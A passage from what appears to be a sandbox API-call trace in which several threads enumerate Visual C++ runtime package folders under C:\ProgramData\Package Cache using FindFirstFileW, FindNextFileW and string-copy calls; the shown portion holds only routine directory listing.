dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.136] wcscmp (_String1="..", _String2=".") returned 1 [0099.136] wcscmp (_String1="..", _String2="..") returned 0 [0099.136] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.136] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.136] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.136] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.136] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0099.136] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0099.136] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.136] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799070) returned 1 [0099.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 Thread: id = 818 os_tid = 0x13ac [0099.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799160 [0099.138] wcscpy (in: _Dest=0x1b799160, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0099.138] wcscat (in: _Dest=0x1b799160, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\" [0099.138] wcscat (in: _Dest=0x1b799160, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" [0099.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.139] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d490 [0099.234] wcscmp (_String1=".", _String2=".") returned 0 [0099.234] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.234] wcscmp (_String1="..", _String2=".") returned 1 [0099.234] wcscmp (_String1="..", _String2="..") returned 0 [0099.234] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.234] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.234] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.234] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.234] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0099.234] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0099.234] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.235] FindClose (in: hFindFile=0x1cd9d490 | out: hFindFile=0x1cd9d490) returned 1 [0099.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 [0099.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 Thread: id = 819 os_tid = 0x13b0 [0099.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b799070 [0099.140] wcscpy (in: _Dest=0x1b799070, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0099.140] wcscat (in: _Dest=0x1b799070, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\" [0099.140] wcscat (in: _Dest=0x1b799070, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" [0099.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce562f0 [0099.140] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d490 [0099.230] wcscmp (_String1=".", _String2=".") returned 0 [0099.230] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.230] wcscmp (_String1="..", _String2=".") returned 1 [0099.230] wcscmp (_String1="..", _String2="..") returned 0 [0099.230] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.230] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.230] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.230] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.230] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0099.230] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0099.230] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.230] FindClose (in: hFindFile=0x1cd9d490 | out: hFindFile=0x1cd9d490) returned 1 [0099.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce562f0) returned 1 [0099.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799070) returned 1 [0099.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799340) returned 1 Thread: id = 820 os_tid = 0x13b4 [0099.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798f80 [0099.142] wcscpy (in: _Dest=0x1b798f80, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0099.142] wcscat (in: _Dest=0x1b798f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0099.142] wcscat (in: _Dest=0x1b798f80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0099.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0099.142] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.143] wcscmp (_String1=".", _String2=".") returned 0 [0099.143] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.143] wcscmp (_String1="..", _String2=".") returned 1 [0099.143] wcscmp (_String1="..", _String2="..") returned 0 [0099.143] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.143] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.143] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.143] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.143] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0099.143] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0099.143] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.143] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0099.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 [0099.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799430) returned 1 Thread: id = 821 os_tid = 0x13b8 [0099.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b772eb0 [0099.147] wcscpy (in: _Dest=0x1b772eb0, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0099.147] wcscat (in: _Dest=0x1b772eb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\" [0099.147] wcscat (in: _Dest=0x1b772eb0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*" [0099.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0099.147] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.147] wcscmp (_String1=".", _String2=".") returned 0 [0099.147] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.147] wcscmp (_String1="..", _String2=".") returned 1 [0099.147] wcscmp (_String1="..", _String2="..") returned 0 [0099.147] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.148] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.148] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.148] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.148] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0099.148] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0099.148] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.148] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0099.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0099.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 Thread: id = 822 os_tid = 0x13bc [0099.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799520 [0099.155] wcscpy (in: _Dest=0x1b799520, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0099.155] wcscat (in: _Dest=0x1b799520, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0099.155] wcscat (in: _Dest=0x1b799520, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0099.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0099.155] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.156] wcscmp (_String1=".", _String2=".") returned 0 [0099.156] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.156] wcscmp (_String1="..", _String2=".") returned 1 [0099.156] wcscmp (_String1="..", _String2="..") returned 0 [0099.156] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: 